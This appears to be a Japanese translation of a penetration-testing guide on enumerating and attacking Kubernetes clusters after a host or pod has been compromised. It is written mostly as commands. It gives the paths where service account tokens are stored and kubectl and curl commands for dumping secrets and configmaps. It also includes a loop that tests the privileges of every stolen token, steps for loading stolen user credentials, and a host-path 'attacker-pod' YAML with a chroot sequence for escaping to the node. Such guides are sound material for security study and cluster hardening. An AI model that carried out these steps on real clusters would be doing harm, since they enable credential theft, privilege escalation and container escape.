Kubernetes Tokens
もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var KUBECONFIG
で指し示されるファイルか、 ~/.kube
**の中にあります。
このフォルダには、APIサーバーに接続するためのトークンと設定を含む設定ファイル が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。
Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります:
Service Account Tokens
続ける前に、Kubernetesにおけるサービスが何か知らない場合は、このリンクをフォローしてKubernetesアーキテクチャに関する情報を少なくとも読んでください。
Kubernetesのドキュメント からの引用:
「ポッドを作成する際、サービスアカウントを指定しない場合、同じ名前空間内のデフォルトサービスアカウントが自動的に割り当てられます。」
ServiceAccount はKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。
すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。
通常、次のディレクトリの1つ に:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
ファイルが含まれています:
ca.crt : Kubernetes通信を確認するためのCA証明書です
token : 現在のポッドのサービストークン が含まれています。
トークンを取得したので、環境変数**KUBECONFIG
内でAPIサーバーを見つけることができます。詳細については、 (env | set) | grep -i "kuber|kube"
`**を実行してください。
サービスアカウントトークンは、ファイルsa.key に存在するキーによって署名され、sa.pub によって検証されます。
Kubernetes のデフォルトの場所:
Minikube のデフォルトの場所:
Hot Pods
Hot podsは 特権サービスアカウントトークンを含むポッドです。特権サービスアカウントトークンは、シークレットのリスト作成、ポッドの作成などの特権タスクを実行する権限を持つトークンです。
RBAC
RBAC が何か知らない場合は、このセクションを読んでください 。
GUI Applications
Enumeration CheatSheet
K8s環境を列挙するには、次のものが必要です:
有効な認証トークン 。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。
Kubernetes APIのアドレス( https://host:port ) 。これは通常、環境変数やkube設定ファイルに見つかります。
オプション : APIサーバーを検証するためのca.crt 。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、kubectl
で--insecure-skip-tls-verify
を使用するか、curl
で-k
を使用すれば必要ありません。
これらの詳細を使用して、Kubernetesを列挙 できます。API が何らかの理由でインターネット を通じてアクセス可能 であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。
しかし、通常、APIサーバーは内部ネットワーク内にあるため 、侵害されたマシンを通じてトンネルを作成 して自分のマシンからアクセスする必要があります。または、kubectl
バイナリをアップロード するか、**curl/wget/anything
**を使用してAPIサーバーに生のHTTPリクエストを実行できます。
Differences between list
and get
verbs
**get
**権限を持つと、特定の資産の情報にアクセスできます(kubectl
の describe
オプション )API:
Copy GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
もし**list
**権限があれば、資産の種類をリストするためのAPIリクエストを実行することが許可されます(kubectl
の get
オプション ):
Copy #In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
もし**watch
**権限がある場合、資産を監視するためにAPIリクエストを実行することが許可されています:
Copy GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
彼らは、Deploymentが変更されるたび(または新しいものが作成されるとき)に、完全なマニフェストを返すストリーミング接続を開きます。
次の kubectl
コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、get
の代わりに describe
を使用する必要があります。
curlを使用する
ポッド内から、いくつかの環境変数を使用できます:
Copy export APISERVER = ${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT = /var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE = $( cat ${SERVICEACCOUNT} /namespace )
export TOKEN = $( cat ${SERVICEACCOUNT} /token )
export CACERT = ${SERVICEACCOUNT}/ca.crt
alias kurl = "curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
デフォルトでは、ポッドは kube-api サーバー に kubernetes.default.svc
というドメイン名で アクセス でき、ここでは kubernetes DNS サーバーのアドレスが /etc/resolv.config
に見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。
kubectlの使用
トークンと API サーバーのアドレスを持っている場合、ここに示すように kubectl または curl を使用してアクセスします:
デフォルトでは、APISERVER は https://
スキーマで通信しています。
Copy alias k = 'kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
URLにhttps://
が含まれていない場合、Bad Requestのようなエラーが発生する可能性があります。
公式のkubectlチートシートはこちら で見つけることができます。以下のセクションの目的は、アクセスを取得した新しいK8sを列挙し理解するためのさまざまなオプションを順序立てて提示することです。
kubectl
が送信するHTTPリクエストを見つけるには、パラメータ-v=8
を使用できます。
MitM kubectl - kubectlのプロキシ化
Copy # Launch burp
# Set proxy
export HTTP_PROXY = http://localhost:8080
export HTTPS_PROXY = http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true
現在の構成
Kubectl
Copy kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace= < namespace >
もしユーザーの資格情報を盗むことに成功した場合、次のような方法でローカルに設定する ことができます:
Copy kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg = client-id = ( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg = refresh-token = ( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg = id-token = ( your id_token )
サポートされているリソースの取得
この情報を使用すると、リストできるすべてのサービスを知ることができます。
kubectl
Copy k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
現在の権限を取得
kubectl API
Copy k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount: < namespace > : < sa_name > -n < namespac e >
Copy kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
特権を確認する別の方法は、ツールを使用することです: https://github.com/corneliusweig/rakkess ****
Kubernetes RBAC について詳しく学ぶには、以下を参照してください:
Kubernetes Role-Based Access Control(RBAC) どの特権を持っているかが分かったら、 次のページを確認して、それを悪用して特権を昇格できるかどうかを調べてください:
Abusing Roles/ClusterRoles in Kubernetes 他の役割を取得する
kubectl API
Copy k get roles
k get clusterroles
Copy kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
名前空間を取得する
Kubernetesは、同じ物理クラスターに基づく複数の仮想クラスター をサポートしています。これらの仮想クラスターは名前空間 と呼ばれます。
kubectl API
Copy kurl -k -v https:// $APISERVER /api/v1/namespaces/
シークレットを取得する
kubectl API
Copy k get secrets -o yaml
k get secrets -o yaml -n custnamespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/default/secrets/
kurl -v https:// $APISERVER /api/v1/namespaces/custnamespace/secrets/
シークレットを読むことができれば、次の行を使用して各トークンに関連する権限を取得できます:
Copy for token in ` k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7 ` ; do echo $token; k --token $token auth can-i --list ; echo ; done
サービスアカウントの取得
このページの冒頭で説明したように、ポッドが実行されると通常サービスアカウントが割り当てられます 。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストすることで、ユーザーが権限を昇格させることができるかもしれません。
kubectl API
Copy k get serviceaccounts
Copy kurl -k -v https:// $APISERVER /api/v1/namespaces/{namespace}/serviceaccounts
デプロイメントの取得
デプロイメントは、実行 する必要があるコンポーネント を指定します。
kubectl API
Copy k get deployments
k get deployments -n custnamespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/ < namespac e > /deployments/
Podを取得する
Podは実際に実行 されるコンテナ です。
kubectl API
Copy k get pods
k get pods -n custnamespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/ < namespac e > /pods/
サービスの取得
Kubernetes サービス は、特定のポートとIPでサービスを公開するために使用されます (これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。
kubectl API
Copy k get services
k get services -n custnamespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/default/services/
ノードを取得
クラスター内に構成されたすべてのノードを取得 します。
kubectl API
Copy kurl -v https:// $APISERVER /api/v1/nodes/
DaemonSetsの取得
DaemonSets は、特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証 します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。
kubectl API
Copy kurl -v https:// $APISERVER /apis/extensions/v1beta1/namespaces/default/daemonsets
Cronジョブを取得する
Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。
kubectl API
Copy kurl -v https:// $APISERVER /apis/batch/v1beta1/namespaces/ < namespac e > /cronjobs
configMapを取得する
configMapには、kubernetesで実行されるアプリに提供される多くの情報と設定ファイルが常に含まれています。通常、他の内部/外部サービスに接続および検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。
kubectl API
Copy k get configmaps # -n namespace
Copy kurl -v https:// $APISERVER /api/v1/namespaces/ ${NAMESPACE} /configmaps
ネットワークポリシー / Ciliumネットワークポリシーの取得
最初のタブ
Copy k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
すべてを取得 / すべて
Helmによって管理されているすべてのリソースを取得する
kubectl
Copy k get all --all-namespaces -l= 'app.kubernetes.io/managed-by=Helm'
ポッドの消費量を取得する
kubectl
Copy k top pod --all-namespaces
ポッドからの脱出
新しいポッドを作成できる場合、ノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、ノードのシステムにchrootする必要があります。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスを表示しているからです。
Copy kubectl get pod < nam e > [-n < namespac e > ] -o yaml
特定のノードにポッドを作成する必要がある場合は、次のコマンドを使用してノードのラベルを取得できます。
k get nodes --show-labels
一般的に、kubernetes.io/hostname と node-role.kubernetes.io/master は選択するための良いラベルです。
その後、attack.yaml ファイルを作成します。
Copy apiVersion : v1
kind : Pod
metadata :
labels :
run : attacker-pod
name : attacker-pod
namespace : default
spec :
volumes :
- name : host-fs
hostPath :
path : /
containers :
- image : ubuntu
imagePullPolicy : Always
name : attacker-pod
command : [ "/bin/sh" , "-c" , "sleep infinity" ]
volumeMounts :
- name : host-fs
mountPath : /root
restartPolicy : Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
original yaml source
その後、ポッドを作成します。
Copy kubectl apply -f attacker.yaml [-n < namespac e > ]
次に、作成したポッドに切り替えることができます。
Copy kubectl exec -it attacker-pod [-n < namespac e > ] -- sh # attacker-pod is the name defined in the yaml file
そして最後に、ノードのシステムにchrootします。
Copy chroot /root /bin/bash
情報は以下から取得されました: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
参考文献